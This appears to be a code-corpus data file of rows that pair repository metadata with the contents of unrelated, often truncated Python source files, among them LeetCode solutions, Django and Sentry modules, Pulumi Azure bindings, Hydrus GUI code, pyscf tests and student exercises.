6f433153d5b9d5725afe6deed4d135feb254b3a6 | befafdde28c285c049b924fa58ce6240a4ae8d3c | /python_solution/Stack/224_BasicCalculator.py | 6795643f801f8f099691c795505a42a306e87b20 | [] | no_license | Dimen61/leetcode | 3364369bda2255b993581c71e2b0b84928e817cc | 052bd7915257679877dbe55b60ed1abb7528eaa2 | refs/heads/master | 2020-12-24T11:11:10.663415 | 2017-08-15T14:54:41 | 2017-08-15T14:54:41 | 73,179,221 | 4 | 0 | null | null | null | null | UTF-8 | Python | false | false | 791 | py | class Solution(object):
def calculate(self, s):
"""
:type s: str
:rtype: int
"""
total = 0
num = 0
sign = 1
sign_stack = [1]
for c in s:
if c == ' ':
pass
elif c in '+-':
total += sign * ... | [
"dimen61@gmail.com"
] | dimen61@gmail.com |
b5e48386e73920bc685eb86a15667c316892aebc | 80f53e7ea872dc18e45bd810ebb2073dac773f71 | /business_modle/querytool/yqfqy/quanyi.py | f45941ba1177d33154bb8f7cb3f1e000a5f912cb | [] | no_license | dengjinyi4/Test_Plantfrom | 30ca560b157b6f7026e6f05bc3ace10c63894d11 | eb49d08ceb5cba44ce48178ed79c2e79a596de69 | refs/heads/master | 2021-06-13T07:34:55.840837 | 2021-03-09T06:41:54 | 2021-03-09T06:41:54 | 144,958,663 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 7,408 | py | # -*- coding: utf-8 -*-
__author__ = 'jinyi'
from business_modle.querytool import db
import requests as r
import datetime
from dateutil.relativedelta import relativedelta
from openpyxl import Workbook,load_workbook
import os
class quanyi(object):
def __init__(self,env=''):
self.env=env
# 导... | [
"13811501646@163.com"
] | 13811501646@163.com |
15a3be1d4f36325716fa178bc2087471a2ab800b | 2638a861e7ac0b37361348babc18212176cb75cb | /utils/parametric.py | 19a96de1b8c0bb2cceece226834563081d6202bd | [
"Apache-2.0"
] | permissive | jcarpent/osqp_benchmarks | 64de68f111d464810983d2f4ea31962b8646b041 | 787f46e73ce22bcdc9055a4fea56fc812a7d6e5f | refs/heads/master | 2020-04-18T11:50:55.026557 | 2019-01-31T13:09:21 | 2019-01-31T13:09:21 | 167,514,778 | 0 | 0 | Apache-2.0 | 2019-01-25T08:43:05 | 2019-01-25T08:43:04 | null | UTF-8 | Python | false | false | 1,871 | py | import os
import pandas as pd
def print_results_parametric(problem, dimension):
"""
Print parametric problem results
"""
print('[%s]' % problem)
ws_file = os.path.join('.', 'results', 'parametric_problems',
'OSQP warmstart',
problem,
... | [
"bartolomeo.stellato@gmail.com"
] | bartolomeo.stellato@gmail.com |
3fc97f15d0b096088b7dd7f1ae93a41f4ceeb780 | d554b1aa8b70fddf81da8988b4aaa43788fede88 | /5 - Notebooks e Data/1 - Análises numéricas/Arquivos David/Atualizados/logDicas-master/data/2019-1/226/users/4138/codes/1675_2471.py | 574c8928df1b501e01a85539ab993a98d5afc612 | [] | no_license | JosephLevinthal/Research-projects | a3bc3ca3b09faad16f5cce5949a2279cf14742ba | 60d5fd6eb864a5181f4321e7a992812f3c2139f9 | refs/heads/master | 2022-07-31T06:43:02.686109 | 2020-05-23T00:24:26 | 2020-05-23T00:24:26 | 266,199,309 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 385 | py | x = int(input("insira a idade:"))
y = float(input("insira seu indice de massa corporal:"))
print("Entradas:", x, "anos e IMC",y)
if(x <= 0 or x > 130 or y <= 0):
print("Dados invalidos")
elif(x < 45 and y < 22):
print("Risco: Baixo")
elif(x < 45 and y >= 22):
print("Risco: Medio")
elif(x >= 45 and y < 22):
print... | [
"jvlo@icomp.ufam.edu.br"
] | jvlo@icomp.ufam.edu.br |
3ed6ab485359feeca0517cf3ab1a234bcf82a200 | 906ea12bcdbe3ea1bf39f489ae4263b3c3cf30b8 | /10_october/11_noDups.py | c1207e9071d756ce94d610b97a64447f15ff7920 | [] | no_license | dfeusse/codeWarsPython | da14802ef7986390331c5279cf3cb46eeb3fe853 | c29de0f48ab89de88106c0504f734df328982bae | refs/heads/master | 2016-08-11T11:41:34.501979 | 2015-10-25T02:30:48 | 2015-10-25T02:30:48 | 36,802,152 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,167 | py | '''
Return the array/list passed into the function with all duplicates removed.
The items in the returned array should be sorted alphabetically, with numbers before strings.
The function should remove any null, undefined and invalid values from the array (in JS: all
falsey values (NaN, false, undefined, null etc.) h... | [
"dfeusse@gmail.com"
] | dfeusse@gmail.com |
e2f8bc0ec3b2c30918dab8c6cb685b9a903354d3 | 185452958184317ea68aba61f58dc2e136a8ae39 | /shopping_cart.py | 395a45e3d49b53b36979d4f6da8adc896aedb370 | [] | no_license | madhavinamballa/de_anza_pythonbootcamp | ce8337d23d83198d99015e3fe0ad76e1efe84205 | 362d9d2cf413b4b09c6c92fbe2125486789b4f4e | refs/heads/master | 2022-11-25T22:09:28.156887 | 2020-07-10T15:29:43 | 2020-07-10T15:29:43 | 277,613,497 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 916 | py | # https://www.codegrepper.com/code-examples/python/%27python3%27+is+not+recognized+as+an+internal+or+external+command%2C
grocery_item = {}
grocery_history = []
stop = False
while not stop:
item_name = input("Item name:\n")
quantity = input("Quantity purchased:\n")
cost = input("Price per item:\n"... | [
"you@example.com"
] | you@example.com |
ed67b5e3ce51588582dfebaff12458a41aad2690 | fb2d3b0feb32ade14fe1bdae89e64c44641ad57d | /models/work_openapc.py | cd7e3c555bd3a03a4d0816030f7eeb10090ea467 | [
"MIT"
] | permissive | ourresearch/openalex-guts | 732f3dc22c4d27304fc0d2c62d4284abbe3f5532 | 8401eb17ef60ab2c4d2fb6d647569d28ffbc8775 | refs/heads/main | 2023-09-01T20:03:57.070913 | 2023-08-30T02:45:17 | 2023-08-30T02:45:17 | 414,304,009 | 87 | 9 | MIT | 2023-07-31T14:33:55 | 2021-10-06T17:14:39 | Python | UTF-8 | Python | false | false | 360 | py | from app import db
class WorkOpenAPC(db.Model):
__table_args__ = {'schema': 'mid'}
__tablename__ = "work_openapc"
paper_id = db.Column(db.BigInteger, db.ForeignKey("mid.work.paper_id"), primary_key=True)
doi = db.Column(db.Text)
year = db.Column(db.Integer)
apc_in_euro = db.Column(db.Integer)... | [
"caseym@gmail.com"
] | caseym@gmail.com |
c0b091b45749ecb4fa561c1c80c6eeb4849758cc | 25970b0796082ed43e7662834b613e651fdcf648 | /0427/either/issue/admin.py | 4c6e0259aad1d6608e345557e506b80ed5055c68 | [] | no_license | ttppggnnss/django_practice | 41668c6a5debced09ad999b68fc2ce2a84c4ef55 | 737e9a706688853bcfc21162ec815c103ca8e5eb | refs/heads/master | 2022-12-14T13:23:10.805575 | 2020-09-07T05:52:41 | 2020-09-07T05:52:41 | 293,249,461 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 352 | py | from django.contrib import admin
from .models import Issue, Reply
# Register your models here.
class IssueAdmin(admin.ModelAdmin):
list_display = ('nameA', 'nameB', 'hitcountA', 'hitcountB')
class ReplyAdmin(admin.ModelAdmin):
list_display = ('pick', 'comment', )
admin.site.register(Issue, IssueAdmin)
admin.... | [
"kimsae123@naver.com"
] | kimsae123@naver.com |
90c3b2c3bee3c39ce01648f04b0fa9b8851d6d0e | 244ecfc2017a48c70b74556be8c188e7a4815848 | /res/scripts/client/notification/notificationlistview.py | be7ae81986417f7c5755017f75ba185fd0c3c8bd | [] | no_license | webiumsk/WOT-0.9.12 | c1e1259411ba1e6c7b02cd6408b731419d3174e5 | 5be5fd9186f335e7bae88c9761c378ff5fbf5351 | refs/heads/master | 2021-01-10T01:38:36.523788 | 2015-11-18T11:33:37 | 2015-11-18T11:33:37 | 46,414,438 | 1 | 0 | null | null | null | null | WINDOWS-1250 | Python | false | false | 3,032 | py | # 2015.11.18 11:58:11 Střední Evropa (běžný čas)
# Embedded file name: scripts/client/notification/NotificationListView.py
from debug_utils import LOG_ERROR
from gui.Scaleform.daapi.view.meta.NotificationsListMeta import NotificationsListMeta
from messenger.formatters import TimeFormatter
from notification.Notification... | [
"info@webium.sk"
] | info@webium.sk |
7725d80c30659e6da9a10c90b3e0e8d5fbe1cbad | 8b2435044491c4f1887bcce6fdd3989b2f55be88 | /meddet/utils/config.py | ddfe5482201f82e38c8c622cd554ddc9bd739ba8 | [] | no_license | JoeeYF/MedDetection | ed169c481ff628a771966ba5e5290f799ac2323b | 8c183d8bf632fe6bf54841ac20db19955331f336 | refs/heads/main | 2023-06-12T00:26:13.537943 | 2021-07-06T02:32:42 | 2021-07-06T02:32:42 | 382,782,483 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,372 | py | # Copyright (c) Open-MMLab. All rights reserved.
import inspect
import re
import ast
import os.path as osp
import shutil
import sys
import tempfile
from argparse import Action, ArgumentParser
from collections import abc
from importlib import import_module
from collections import OrderedDict
from addict import Dict
fro... | [
"qiao_yuanfang@163.com"
] | qiao_yuanfang@163.com |
6b5bf4b3fed8b652d998a7f69d2b10152094f015 | 9de053b81f142f9e5cc596472653a5ffc44ec568 | /2019Nov/adhoc2/next_palindrome_submission1.py | 040fc294e2d866c11401bea6a5a248aa590f6844 | [
"Apache-2.0"
] | permissive | MrCsabaToth/IK | bbbd7c7b95a1eae7ad93e46abc96d145d14579af | d0b5235e1f2307c33ffa3d8c3335fdd25f27df8b | refs/heads/master | 2022-10-14T05:38:34.052119 | 2022-09-15T23:41:42 | 2022-09-15T23:41:42 | 222,153,073 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,732 | py | # Complete the function below.
def next_palindrome(n):
digits = []
while n:
digits.insert(0, n % 10)
n = n // 10
if not digits:
digits = [0]
# Search for the first differring digit from the half back to the start
l = len(digits)
half = (l - 1) // 2
i = half
inc... | [
"csaba.toth.us@gmail.com"
] | csaba.toth.us@gmail.com |
ed515663632c63dddbce21f62f48792795d0f6e2 | 3dcc44bf8acd3c6484b57578d8c5595d8119648d | /graft_pdb.py | c6019a158b94f71f176cc45ed3072b2e46631b05 | [] | no_license | rhiju/rhiju_python | f0cab4dfd4dd75b72570db057a48e3d65e1d92c6 | eeab0750fb50a3078a698d190615ad6684dc2411 | refs/heads/master | 2022-10-29T01:59:51.848906 | 2022-10-04T21:28:41 | 2022-10-04T21:28:41 | 8,864,938 | 0 | 3 | null | null | null | null | UTF-8 | Python | false | false | 1,847 | py | #!/usr/bin/python
from read_pdb import read_pdb
from sys import argv
from parse_options import parse_options
# Note, this assumes that the pdb's are already aligned!
graft_res = parse_options( argv, "graft_res", [-1] )
main_pdb = argv[1]
scratch_pdb = argv[2]
[ coords_main, lines_main, sequence_main ] = read_pdb( ... | [
"rhiju@stanford.edu"
] | rhiju@stanford.edu |
1e8c343d17fabbbbc77a49777033205b11cd052d | 881041fab1b4d05f1c5371efed2f9276037eb609 | /tasks/math-test-results-2006-2012-school-swd/depositor.py | b24a704d3eaa853f659a666415e43eb8d14252b0 | [] | no_license | ResidentMario/urban-physiology-nyc-catalog | b568f3b6ee1a887a50c4df23c488f50c92e30625 | cefbc799f898f6cdf24d0a0ef6c9cd13c76fb05c | refs/heads/master | 2021-01-02T22:43:09.073952 | 2017-08-06T18:27:22 | 2017-08-06T18:27:22 | 99,377,500 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 386 | py | import requests
r = requests.get("https://data.cityofnewyork.us/api/views/i99z-ad8n/rows.csv?accessType=DOWNLOAD")
with open("/home/alex/Desktop/urban-physiology-nyc-catalog/catalog/math-test-results-2006-2012-school-swd/data.csv", "wb") as f:
f.write(r.content)
outputs = ["/home/alex/Desktop/urban-physiology-nyc-... | [
"aleksey.bilogur@gmail.com"
] | aleksey.bilogur@gmail.com |
f18a209ac67b11f466cf13d30a2897c9097a38e4 | bbab3c62b28936f634bfd238d35b614f5b8fb050 | /config/wsgi.py | ba7979aa8cc504fc6b4e6c5d57a0ab841f52f2bd | [
"BSD-3-Clause"
] | permissive | p-v-o-s/hydro | ba2547bc4f369c4c37cafca63657d55960fef62d | 34eaf227043c69b921650aa120516533d61c6854 | refs/heads/master | 2021-01-10T06:01:53.640636 | 2016-02-25T01:48:05 | 2016-02-25T01:48:05 | 52,483,062 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,618 | py | """
WSGI config for Hydro project.
This module contains the WSGI application used by Django's development server
and any production WSGI deployments. It should expose a module-level variable
named ``application``. Django's ``runserver`` and ``runfcgi`` commands discover
this application via the ``WSGI_APPLICATION`` se... | [
"donblair@gmail.com"
] | donblair@gmail.com |
ccb3d440dc1631ce8481f156f4600ac2362dd959 | 9cd180fc7594eb018c41f0bf0b54548741fd33ba | /sdk/python/pulumi_azure_nextgen/hybridcompute/v20200815preview/get_machine.py | a892f49616745924d11637f57fc1601cb9dc924b | [
"Apache-2.0",
"BSD-3-Clause"
] | permissive | MisinformedDNA/pulumi-azure-nextgen | c71971359450d03f13a53645171f621e200fe82d | f0022686b655c2b0744a9f47915aadaa183eed3b | refs/heads/master | 2022-12-17T22:27:37.916546 | 2020-09-28T16:03:59 | 2020-09-28T16:03:59 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 14,343 | py | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union
from ... import _utilities, _tables
from... | [
"public@paulstack.co.uk"
] | public@paulstack.co.uk |
d35dd87658d94e42b37a051ec7a53793e47311c8 | 60638f27b04546cb1dccc8b75dac1e638fd00fd3 | /include/ClientGUISerialisable.py | 001e4b48e6f15559bb0ff656cf5a4b8984bbc3db | [
"WTFPL"
] | permissive | sakharovaan/hydrus-unleashed | 345aea80ae7eff4d0307f2bde772473ca7bcaf98 | 443c8932947d0c786435bcd53911536e0bdce7e8 | refs/heads/master | 2020-04-15T05:46:46.732641 | 2019-06-29T10:52:48 | 2019-06-29T10:52:48 | 164,436,939 | 3 | 0 | WTFPL | 2019-06-27T17:58:15 | 2019-01-07T13:29:52 | Python | UTF-8 | Python | false | false | 8,572 | py | from . import ClientConstants as CC
from . import ClientGUICommon
from . import ClientGUIFunctions
from . import ClientGUIScrolledPanels
from . import ClientParsing
from . import ClientSerialisable
from . import ClientThreading
from . import HydrusConstants as HC
from . import HydrusData
from . import HydrusGlobals as ... | [
"hydrus.admin@gmail.com"
] | hydrus.admin@gmail.com |
c5fcbab09c281aafaf7912da23250c767edf1742 | 9255068b7b45348a084555b8c413fd55a4b12013 | /odfdo/style.py | ef01ba90e43bc14032870fd55ba13cd398ccaaef | [
"Apache-2.0"
] | permissive | mat-m/odfdo | fdf9752f0273760deb59403f23dbc20eac3de753 | a4a509a056517ecf91449e029b36fe9a8ffa8ed0 | refs/heads/master | 2020-03-18T05:04:16.263647 | 2018-05-21T21:46:13 | 2018-05-21T21:54:11 | 134,322,638 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 34,902 | py | # Copyright 2018 Jérôme Dumonteil
# Copyright (c) 2009-2010 Ars Aperta, Itaapy, Pierlis, Talend.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE... | [
"jerome.dumonteil@gmail.com"
] | jerome.dumonteil@gmail.com |
7c3965d73a7c4adfb3387f984b28fd06eeed4777 | 90fb55320c81259cb199b9a8900e11b2ba63da4f | /150/test_jsonify.py | 3ffde90d2cd9db6d1c1e48c6fd35b77b997346fd | [] | no_license | pogross/bitesofpy | f9bd8ada790d56952026a938b1a34c20562fdd38 | 801f878f997544382e0d8650fa6b6b1b09fa5b81 | refs/heads/master | 2020-05-19T07:31:44.556896 | 2020-01-26T12:48:28 | 2020-01-26T12:48:28 | 184,899,394 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 2,081 | py | import json
import pytest
from jsonify import convert_to_json
@pytest.fixture(scope="module")
def output():
return convert_to_json()
def test_type_output_is_json_str(output):
assert type(output) == str
assert len(output) == 938
def test_extracted_data_is_correct(output):
data = json.loads(output... | [
"p.gross@tu-bs.de"
] | p.gross@tu-bs.de |
32f7dd1d7b51ec2d0210283a9dc7a3bb609cf0e8 | 155cbccc3ef3b8cba80629f2a26d7e76968a639c | /thelma/stringconv.py | 1ad3eb3bb10f889ec33bb8af437cb6a5ca90f91c | [
"MIT"
] | permissive | papagr/TheLMA | 1fc65f0a7d3a4b7f9bb2d201259efe5568c2bf78 | d2dc7a478ee5d24ccf3cc680888e712d482321d0 | refs/heads/master | 2022-12-24T20:05:28.229303 | 2020-09-26T13:57:48 | 2020-09-26T13:57:48 | 279,159,864 | 1 | 0 | MIT | 2020-07-12T22:40:36 | 2020-07-12T22:40:35 | null | UTF-8 | Python | false | false | 810 | py | """
This file is part of the TheLMA (THe Laboratory Management Application) project.
See LICENSE.txt for licensing, CONTRIBUTORS.txt for contributor information.
String conversion utilities.
"""
import string # pylint: disable=W0402
__docformat__ = 'reStructuredText en'
__all__ = ['reverse_dna_sequence']
def reve... | [
"fogathmann@gmail.com"
] | fogathmann@gmail.com |
14bd94859be6dc333059ce913586a5db38294c43 | d80985ad17b38d63a41f728cd7c90ac22dfae254 | /Advanced Python Objects and Data Structures/Advanced Dictionaries/addict.py | c0df572233b7928bcbe3678d5de6e98d5aa70a20 | [] | no_license | JitenKumar/PythonPracticeStepByStep | ebd313ddc59217a03b69efd67584e003ded35036 | 6b30c7d2ea9c6269ba6144d396e13539374fafd3 | refs/heads/master | 2021-04-09T16:14:32.177132 | 2018-04-01T20:12:08 | 2018-04-01T20:12:08 | 125,598,971 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 244 | py | # Dictionaries comprehensions
print({a:a**4 for a in range(10)})
d = {a:a*3 for a in range(4)}
for k in d.values():
print(k)
for k in d.items():
print(k)
for k in d.keys():
print(k)
# viewing key and values
print(d.keys())
| [
"jitenderpalsra@gmail.com"
] | jitenderpalsra@gmail.com |
c40ddd9b1101401cca49169c0579f28d0b534e51 | da19363deecd93a73246aaea877ee6607daa6897 | /xlsxwriter/test/xmlwriter/test_xmlwriter.py | 6a2931d92ab9fb90c0e597db71d5720c89c9389e | [] | no_license | UNPSJB/FarmaciaCrisol | 119d2d22417c503d906409a47b9d5abfca1fc119 | b2b1223c067a8f8f19019237cbf0e36a27a118a6 | refs/heads/master | 2021-01-15T22:29:11.943996 | 2016-02-05T14:30:28 | 2016-02-05T14:30:28 | 22,967,417 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,164 | py | ###############################################################################
#
# Tests for XlsxWriter.
#
# Copyright (c), 2013-2015, John McNamara, jmcnamara@cpan.org
#
import unittest
from ...compatibility import StringIO
from ...xmlwriter import XMLwriter
class TestXMLwriter(unittest.TestCase):
... | [
"lealuque.tw@gmail.com"
] | lealuque.tw@gmail.com |
1be3a72153991696fa394036724ae4bee487d226 | a3f3c625af98882a7f1775de1e6187f1ead4e32b | /tests/ga/bit_string/crossover_tests.py | 26904ba7b5f5845feb3d67d7fb942d0f960c9005 | [
"MIT"
] | permissive | StanJBrown/playground | e0846986af5939be77ee561794b5bd0c94a37c28 | f372c3c547d0ad34f9bdffaa2b2e93d089a3f5a4 | refs/heads/master | 2020-07-01T11:45:45.410104 | 2014-12-12T19:19:39 | 2014-12-12T19:19:39 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,216 | py | #!/usr/bin/env python2
import sys
import os
import random
import unittest
sys.path.append(os.path.join(os.path.dirname(__file__), "../../../"))
from playground.ga.bit_string.generator import BitStringGenerator
from playground.ga.bit_string.crossover import BitStringCrossover
class BitStringCrossoverTests(unittest.Te... | [
"chutsu@gmail.com"
] | chutsu@gmail.com |
95f55b233e73ddd6d67575894594f359a0ae1b45 | 8104e1745a3a4ce41530b0353a2dd502eb3c6541 | /nova/nova/compute/manager.py | 9d13d030c80c11a49cb28f17d62e6c847286ad53 | [
"Apache-2.0"
] | permissive | eepalms/SoD | cc9d5ef59efd65656aaf790b47971a0b6bf36080 | 97613fb0324f65c8e43111e9216d3a2131fa4ef7 | refs/heads/master | 2021-01-12T00:57:30.654487 | 2017-01-08T05:16:27 | 2017-01-08T05:16:27 | 78,322,865 | 2 | 1 | null | 2020-07-24T02:00:16 | 2017-01-08T05:12:13 | Python | UTF-8 | Python | false | false | 311,541 | py | # Copyright 2010 United States Government as represented by the
# Administrator of the National Aeronautics and Space Administration.
# Copyright 2011 Justin Santa Barbara
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance wi... | [
"tianweiz@princeton.edu"
] | tianweiz@princeton.edu |
e09546ff6d3bbf8e514c2615fc15358be0fea19b | 35dbd536a17d7127a1dd1c70a2903ea0a94a84c2 | /src/sentry/api/endpoints/organization_events_facets_performance.py | 601409c1056c01990b0bf1201878113eca9da158 | [
"Apache-2.0",
"BUSL-1.1"
] | permissive | nagyist/sentry | efb3ef642bd0431990ca08c8296217dabf86a3bf | d9dd4f382f96b5c4576b64cbf015db651556c18b | refs/heads/master | 2023-09-04T02:55:37.223029 | 2023-01-09T15:09:44 | 2023-01-09T15:09:44 | 48,165,782 | 0 | 0 | BSD-3-Clause | 2022-12-16T19:13:54 | 2015-12-17T09:42:42 | Python | UTF-8 | Python | false | false | 18,413 | py | import math
from typing import Any, Dict, List, Mapping, Optional
import sentry_sdk
from django.http import Http404
from rest_framework.exceptions import ParseError
from rest_framework.request import Request
from rest_framework.response import Response
from snuba_sdk import Column, Condition, Function, Op
from sentry... | [
"noreply@github.com"
] | nagyist.noreply@github.com |
9b30b0c808fbdfeae8cb4513a47e8a53a0a9dcca | dfb53581b4e6dbdc8e3789ea2678de1e1c4b5962 | /Django/mydjango03/index/migrations/0007_book_publisher.py | 7ca9a10eeabb3c3791545eac08f01a6782feaee0 | [] | no_license | biabulinxi/Python-ML-DL | 7eff6d6898d72f00575045c5aa2acac45b4b0b82 | 217d594a3c0cba1e52550f74d100cc5023fb415b | refs/heads/master | 2020-06-01T09:13:17.314121 | 2019-06-08T03:59:36 | 2019-06-08T03:59:36 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 466 | py | # Generated by Django 2.1.4 on 2019-02-22 03:00
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('index', '0006_wife'),
]
operations = [
migrations.AddField(
model_name='book',
name... | [
"biabu1208@163.com"
] | biabu1208@163.com |
662cdee2217f320f7bcad35c8846aeab12c8e645 | 1849cbd1e115622ec6bc7fbcfb1c065b49981dfb | /DVA/CODE/src/marcus_QRHeatmap/QRHeatMapv2.py | e5c1c98a6eef5f19f1f3158e3cb604e8281da15f | [] | no_license | MelvinYin/Queensland_Rail | c31ca35480e5aa0ab156510beba1ceba5b8469fc | d1a5436bdc8029116c99b9c6804a2563a6470101 | refs/heads/master | 2022-11-16T19:11:32.412797 | 2020-07-13T21:56:57 | 2020-07-13T21:56:57 | 279,420,120 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,929 | py | import pandas as pd
import numpy as np
import statistics as stats
import string
# Global Variables
metrageInc = 5 # 5 metre increments
#numTRCRuns = 4 # Number of runs of TRC
startMetrage = 0.0025 # Starting metrage of TRC measurement
###### File Structure Parameters
#### TRC
TRCSkipRows = 4 # Number of rows to skip ... | [
"melvin_yin@hotmail.com"
] | melvin_yin@hotmail.com |
b8a5376fa6a1058fb0fd4322666ad19c8b5238bb | 6b2a8dd202fdce77c971c412717e305e1caaac51 | /solutions_1483488_1/Python/singleheart/c.py | eef4b5430b7cd0c284686078969ee085ec36d55c | [] | no_license | alexandraback/datacollection | 0bc67a9ace00abbc843f4912562f3a064992e0e9 | 076a7bc7693f3abf07bfdbdac838cb4ef65ccfcf | refs/heads/master | 2021-01-24T18:27:24.417992 | 2017-05-23T09:23:38 | 2017-05-23T09:23:38 | 84,313,442 | 2 | 4 | null | null | null | null | UTF-8 | Python | false | false | 426 | py | #!/usr/bin/python
# C. Recycled Numbers
import sys
import math
f = sys.stdin
T = int(f.readline())
for t in range(1, T+1):
input = [int(i) for i in f.readline().split()]
A = input[0]
B = input[1]
result = 0
for i in range(A, B + 1):
a = str(i)
l = []
for j in range(1, len(a)):
n = int(a[j:]+a[:j])
... | [
"eewestman@gmail.com"
] | eewestman@gmail.com |
664115b0425aa27c71d12fadd2e00311949103ab | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03448/s012162924.py | 6db46d438c2f6ab6e1f068c3b27a22c7faae63ef | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 274 | py | a = int(input())
b = int(input())
c = int(input())
x = int(input())
res = 0
for i in range(a+1):
aa = 500*i
for j in range(b+1):
bb = 100*j
for k in range(c+1):
cc = 50*k
if aa+ bb+ cc ==x:
res +=1
print(res) | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
79eee5d0fce5dcf87b8099064560626fe5cb87f1 | b6bcfd935f7876fc65416e7340fda1c9b0516fd7 | /pyscf/grad/test/test_h2o.py | 6e8addc0191d825e59b075cd757355246597cd65 | [
"Apache-2.0"
] | permissive | lzypotato/pyscf | 62f849b9a3ec8480c3da63a5822ea780608796b2 | 94c21e2e9745800c7efc7256de0d628fc60afc36 | refs/heads/master | 2020-09-06T22:45:04.191935 | 2019-06-18T06:04:48 | 2019-06-18T06:04:48 | 220,578,540 | 1 | 0 | Apache-2.0 | 2019-11-09T02:13:16 | 2019-11-09T02:13:15 | null | UTF-8 | Python | false | false | 5,343 | py | #!/usr/bin/env python
# Copyright 2014-2018 The PySCF Developers. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# U... | [
"warlocat@zju.edu.cn"
] | warlocat@zju.edu.cn |
603903ef1fd76bfbc12b6057adb29c3b599f97b9 | 1d928c3f90d4a0a9a3919a804597aa0a4aab19a3 | /python/kivy/2015/12/compoundselection.py | 3405140bd8c38fcafd69009ee718a33c2e1e9801 | [] | no_license | rosoareslv/SED99 | d8b2ff5811e7f0ffc59be066a5a0349a92cbb845 | a062c118f12b93172e31e8ca115ce3f871b64461 | refs/heads/main | 2023-02-22T21:59:02.703005 | 2021-01-28T19:40:51 | 2021-01-28T19:40:51 | 306,497,459 | 1 | 1 | null | 2020-11-24T20:56:18 | 2020-10-23T01:18:07 | null | UTF-8 | Python | false | false | 22,554 | py | '''See :class:`CompoundSelectionBehavior` for more details.
'''
__all__ = ('CompoundSelectionBehavior', )
from kivy.properties import NumericProperty, BooleanProperty, ListProperty
from time import time
import string
class CompoundSelectionBehavior(object):
'''The Selection behavior `mixin <https://en.wikipedia... | [
"rodrigosoaresilva@gmail.com"
] | rodrigosoaresilva@gmail.com |
2b0cb930258893e946bdaeaccd3d004bb7b2ecb6 | 4655674e14595e28fba43c93a23a66c2165830c2 | /run_strategy.py | 218c0b87e9a56927bd60176c6620f4ac9bcf7308 | [
"MIT"
] | permissive | namuan/crypto-rider | 50e86aaff4f1a39c01f10e487ebdae30619bd2bf | f5b47ada60a7cef07e66609e2e92993619c6bfbe | refs/heads/master | 2023-01-20T05:46:58.234758 | 2020-11-30T22:05:04 | 2020-11-30T22:05:04 | 295,971,240 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 356 | py | from app.strategies import MaCrossOverStrategy
from app.config.service_locators import locator
s = MaCrossOverStrategy(locator)
s.last_event = {
"exchange": "binance",
"market": "BTC/USDT",
"timestamp": 1605371820000,
"open": 15975.86,
"high": 15977.66,
"low": 15962.11,
"close": 15966.77,
... | [
"575441+namuan@users.noreply.github.com"
] | 575441+namuan@users.noreply.github.com |
1a1339131a221540fd758a4b9e09d7b7e37dcf02 | 4415f0a06536b66d4e7425b3995c4009516c180d | /World 2/Challenge057.py | c6f73b41e99d3b06115f3b625ed195dadf042172 | [] | no_license | AndreisSirlene/Python-Exercises-Curso-em-Video-World-1-2-and-3 | c73c2df958f5b83744af6288d26bb270aa30f8fd | 62f59383eee9b8ab43ff78495cf30eb390638013 | refs/heads/master | 2023-03-30T11:34:12.672180 | 2021-03-24T23:34:17 | 2021-03-24T23:34:17 | 290,814,841 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 440 | py | '''The challenge is to ask the gender of a person (in this case I only used Male and Female) in case
the user type another answer the program should keep running and ask for a valid answer'''
gender = str(input('What is your gender? [F/M]: ')).upper().strip()[0]
while gender not in 'MmFf':
gender = str(input('Valu... | [
"andreissirlene@gmail.com"
] | andreissirlene@gmail.com |
27f111c953c959a7a7130bc242350e528fe2a635 | bc88960c49c6e454eaeb747942b582131684c13b | /captum/attr/_utils/typing.py | 34b16cae80d974f774cf659e1171ee4db017b6f8 | [
"BSD-3-Clause"
] | permissive | mturzanska/captum | 5dadeaea84b9567553ad710e9970f124779a80d8 | d2243fb132578e71f88dc4c10b0cc89218d99b3b | refs/heads/master | 2020-12-26T10:33:11.444267 | 2020-01-31T02:16:32 | 2020-01-31T02:18:37 | 237,482,133 | 1 | 0 | BSD-3-Clause | 2020-01-31T17:34:05 | 2020-01-31T17:34:04 | null | UTF-8 | Python | false | false | 171 | py | #!/usr/bin/env python3
from typing import Tuple, TypeVar
from torch import Tensor
